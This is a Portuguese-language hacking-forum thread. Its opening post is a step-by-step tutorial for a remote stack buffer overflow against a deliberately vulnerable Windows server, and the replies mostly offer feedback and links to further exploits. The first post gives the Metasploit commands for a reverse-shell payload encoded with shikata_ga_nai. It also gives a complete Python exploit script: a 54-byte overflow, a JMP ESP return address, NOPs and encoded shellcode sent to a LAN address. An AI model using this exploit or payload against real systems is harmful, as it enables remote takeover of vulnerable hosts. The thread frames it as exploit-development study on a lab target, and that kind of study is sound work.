Resultados 1 a 10 de 10

Tópico: Tutorial - Remote Stack Buffer Overflow

  1. #1
    Lamer
    Data de Ingresso
    Feb 2012
    Posts
    16
    Post Thanks / Like

    Tutorial - Remote Stack Buffer Overflow




    1 - Olhei se o server estava vulneravel a Buffer Overflow, enviando 1000 'A', obtive sucesso, sobreescrevendo o Registrador EIP(Entry Point).

    2 - Gerei 1000 caracteres com o pattern_create do Metasploit e com isso enviei para o server, me retornou um endereço, com o endereço coloquei no pattern_offset e obtive o quantia exata para sobreescrever o EIP, 54 bytes + 4 bytes.

    3 - Pronto, já sei de quantos bytes são nessesários para sobreescrever o EIP, agora vamos ver quais dll o programa carrega e pega um endereço que pule para o ESP, mas pq ESP? Simplesmente pq o ESP está apontando para onde está nosso shellcode do payload. Achei o endereço 77056d53, maravilha, nesse endereço contem o seguinte comando, JMP ESP, um salto para o Registrador ESP, exatamente o queriamos.

    4 - Geramos nosso payload, no Metasploit com os seguintes comandos:
    msfconsole < abre o Metasploit console
    use payload/windows/shell_reverse_tcp < shell reversa, ou seja, a vitima quem vai se conectar com a gente...
    set lhost IP < Aqui colocamos nosso IP.
    set lport PORTA < A porta para a conexão.
    set encoder x86/shikata_ga_nai < vamos codificar ele com o Shikata.
    generate -b '\x00' < Geramos nosso shellcode do payload e retiramos os valores nulos(null(00)).


    5
    - Enviamos os seguinte dados na ordem, o buffer(54 bytes), ocasionando a falha, o endereço( 77056d53(esse endereço que vai sobreescrever o EIP, mas pq sobreescrever o EIP com um enrereço? Simplesmente pq ele aponta para a próxima instrução a ser executada(endereço), assim, ele vai pular para onde está o nosso payload na stack)) para pular pra o ESP, alguns NOP(90h(faz nada)) e nosso shellcode!

    6 - Ser feliz! (:


    Download do Server Vulneravel:
    server.exe - 4shared.com - online file sharing and storage - download
    Scan/

    Code do Exploit:

    Código PHP:
    import socket
     
    buff 
    b'A' 54
    eip 
    b'\x53\x6d\x05\x77'
    nops b'\x90' 30

    buf  
    b'\xbe\xb6\x17\xb0\xd8\xdd\xc0\xd9\x74\x24\xf4\x58  \x33\xc9'
    buf += b'\xb1\x4f\x83\xc0\x04\x31\x70\x10\x03\x70\x10\x54  \xe2\x4c'
    buf += b'\x30\x11\x0d\xad\xc1\x41\x87\x48\xf0\x53\xf3\x19  \xa1\x63'
    buf += b'\x77\x4f\x4a\x08\xd5\x64\xd9\x7c\xf2\x8b\x6a\xca  \x24\xa5'
    buf += b'\x6b\xfb\xe8\x69\xaf\x9a\x94\x73\xfc\x7c\xa4\xbb  \xf1\x7d'
    buf += b'\xe1\xa6\xfa\x2f\xba\xad\xa9\xdf\xcf\xf0\x71\xde  \x1f\x7f'
    buf += b'\xc9\x98\x1a\x40\xbe\x12\x24\x91\x6f\x29\x6e\x09  \x1b\x75'
    buf += b'\x4f\x28\xc8\x66\xb3\x63\x65\x5c\x47\x72\xaf\xad  \xa8\x44'
    buf += b'\x8f\x61\x97\x68\x02\x78\xdf\x4f\xfd\x0f\x2b\xac  \x80\x17'
    buf += b'\xe8\xce\x5e\x92\xed\x69\x14\x04\xd6\x88\xf9\xd2  \x9d\x87'
    buf += b'\xb6\x91\xfa\x8b\x49\x76\x71\xb7\xc2\x79\x56\x31  \x90\x5d'
    buf += b'\x72\x19\x42\xfc\x23\xc7\x25\x01\x33\xaf\x9a\xa7  \x3f\x42'
    buf += b'\xce\xd1\x1d\x0b\x23\xef\x9d\xcb\x2b\x78\xed\xf9  \xf4\xd2'
    buf += b'\x79\xb2\x7d\xfc\x7e\xb5\x57\xb8\x11\x48\x58\xb8  \x38\x8f'
    buf += b'\x0c\xe8\x52\x26\x2d\x63\xa3\xc7\xf8\x23\xf3\x67  \x53\x83'
    buf += b'\xa3\xc7\x03\x6b\xae\xc7\x7c\x8b\xd1\x0d\x0b\x8c  \x46\x6e'
    buf += b'\xa4\x10\x92\x06\xb7\x14\x31\xfb\x3e\xf2\x23\x14  \x17\xad'
    buf += b'\xdb\x8d\x32\x25\x7d\x51\xe9\xad\x1e\xc0\x76\x2d  \x68\xf9'
    buf += b'\x20\x7a\x3d\xcf\x38\xee\xd3\x76\x93\x0c\x2e\xee  \xdc\x94'
    buf += b'\xf5\xd3\xe3\x15\x7b\x6f\xc0\x05\x45\x70\x4c\x71  \x19\x27'
    buf += b'\x1a\x2f\xdf\x91\xec\x99\x89\x4e\xa7\x4d\x4f\xbd  \x78\x0b'
    buf += b'\x50\xe8\x0e\xf3\xe1\x45\x57\x0c\xcd\x01\x5f\x75  \x33\xb2'
    buf += b'\xa0\xac\xf7\xc2\xea\xec\x5e\x4b\xb3\x65\xe3\x16  \x44\x50'
    buf += b'\x20\x2f\xc7\x50\xd9\xd4\xd7\x11\xdc\x91\x5f\xca  \xac\x8a'
    buf += b'\x35\xec\x03\xaa\x1f'
     
    ha buff eip nops buf
     
    print('[+] Data length: ' str(len(ha)) + ' bytes')
    print(
    '[+] Sending...\n')
    print( 
    ha )
     
    socket.socketsocket.AF_INETsocket.SOCK_STREAM )
    s.connect(('192.168.1.3',15000))
    s.sendha )
    s.close()
     
    print(
    '\n[+]OK'

    Att #M0rph... (:

  2. #2
    Old School ingresso Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.486
    Post Thanks / Like
    Hi.

    Boa! Essas tools de pattern_* do metasploit são uma belezura!
    Estava pra criar um paper sobre como burlar algumas proteções na memória mas aconteceram umas coisas e fiquei impossibilitado. Mas talvez um vídeo como este iria bem!

    Thx.

    []'s
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  3. #3
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    1.289
    Post Thanks / Like
    Em primeiro lugar quero dar os parabéns pela iniciativa! Muito legal fazer um vídeo sobre esse assunto.

    Algumas observações:
    - Aqui o mouse apareceu como um quadrado preto, atrapalhou um pouco a visualização do vídeo (nada grave).
    - Música muito sono (questão de gosto)

    E uma pergunta:

    Esse exemplo não aparece no livro "Hacking - The art of exploitation"?

    Abraços
    Pense em uma frase bonita.

  4. #4
    Lamer
    Data de Ingresso
    Feb 2012
    Posts
    16
    Post Thanks / Like
    Se aparece não vi, pq nem li esse livro, e muito menos sei inglês, lol
    Estudei em outro canto como fazer exploit, nem lembro mais, mas se eu lembrar posto a url.

  5. #5
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    1.289
    Post Thanks / Like
    Opa, em relação ao livro ele já foi traduzido para o português.
    Pense em uma frase bonita.

  6. #6
    Newbie Avatar de 0fx66
    Data de Ingresso
    Jan 2012
    Posts
    22
    Post Thanks / Like
    Citação Postado originalmente por #M0rph Ver Post
    Se aparece não vi, pq nem li esse livro, e muito menos sei inglês, lol
    Estudei em outro canto como fazer exploit, nem lembro mais, mas se eu lembrar posto a url.
    Deve ter sido nos vídeos do vivek: http://www.securitytube.net/groups?o...view&groupId=7 . O autor cria um mini curso sobre o assunto, onde é mostrado a falha em alguns aplicativos, excelente para quem deseja aprender mais.

    É aconselhável ter um conhecimento básico/Avançado sobre:

    - TCP/IP
    - Programação python (Em C, complica mais, por isso é feito em python)
    - Buffer Overflow
    - Assembly
    - etc

    Tenho também alguns exploits para alguns aplicativos vulneráveis.

    - Memcpy: http://snipt.net/0fx66/exploit-server-memcpyexe/
    - Strcpy: http://snipt.net/0fx66/exploit-server-strcpyexe/
    - Minishare: http://snipt.net/0fx66/exploit-minishareexe/
    - FreeSSHD: http://snipt.net/0fx66/freesshdexe-e...ffer-overflow/

    Esse exemplos podem ser usados como estudo, todos com falha de buffer overflow. Gosto de deixar o código mais simples possível

    Críticas:
    - Você esqueceu de dar as permissões de execução ao arquivo. chmod +x exploit.py
    - Não é necessário usar o metasploit
    - Existe algumas proteções usadas no windows 7, aconselho para os iniciantes a usarem o Xp, pois fica mais fácil a compreenção
    - Você não sabe usar o auto completar do linux UAHUAHUAH
    - Você é um tremendo aprendiz. haha

    Quero salientar que criticar não é falar mal, criticar é mostrar os seus pontos fracos (Não quero briga)

    Perguntas:
    - Você tem o código fonte do servidor vul? Pode passar pra nos?

    Se alguém quiser, posso fazer um vídeo sobre o mesmo assunto mostrando a técnica em um aplicativo comercial. Só dizer que faço.

    Até mais!
    Look into my eyes, you'll see who I am my name is Lucifer, please take my hand.

    Facebook | Twitter | Blogger

  7. #7
    Lamer
    Data de Ingresso
    Feb 2012
    Posts
    16
    Post Thanks / Like
    Eu sei que sou aprendiz.
    Ficaria feliz se você fizesse um video explorando um APP comercial.

    Download do ServerVul(exe e source):
    http://www.4shared.com/zip/kbDin-Wm/vulnserver.html

  8. #8
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    1.289
    Post Thanks / Like
    Citação Postado originalmente por #M0rph Ver Post
    Eu sei que sou aprendiz.
    Ficaria feliz se você fizesse um video explorando um APP comercial.

    Download do ServerVul(exe e source):
    http://www.4shared.com/zip/kbDin-Wm/vulnserver.html
    Até poderá ser feito, mas não poderá ser disponibilizado aqui no fórum.

    Não tratamos de assuntos relacionados a alvos protegidos por direitos. Somente a nível de estudos como foi feito no tópico inicial.

    Abraço
    Pense em uma frase bonita.

  9. #9
    Newbie Avatar de 0fx66
    Data de Ingresso
    Jan 2012
    Posts
    22
    Post Thanks / Like
    Obriado pelo source
    Look into my eyes, you'll see who I am my name is Lucifer, please take my hand.

    Facebook | Twitter | Blogger

  10. #10
    Banned ingresso
    Data de Ingresso
    Jul 2014
    Localização
    United States
    Posts
    1
    Post Thanks / Like

    pontic fixture

    This post requires you to click the Likes button to read this content. This post requires you to click the Likes button to read this content.

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •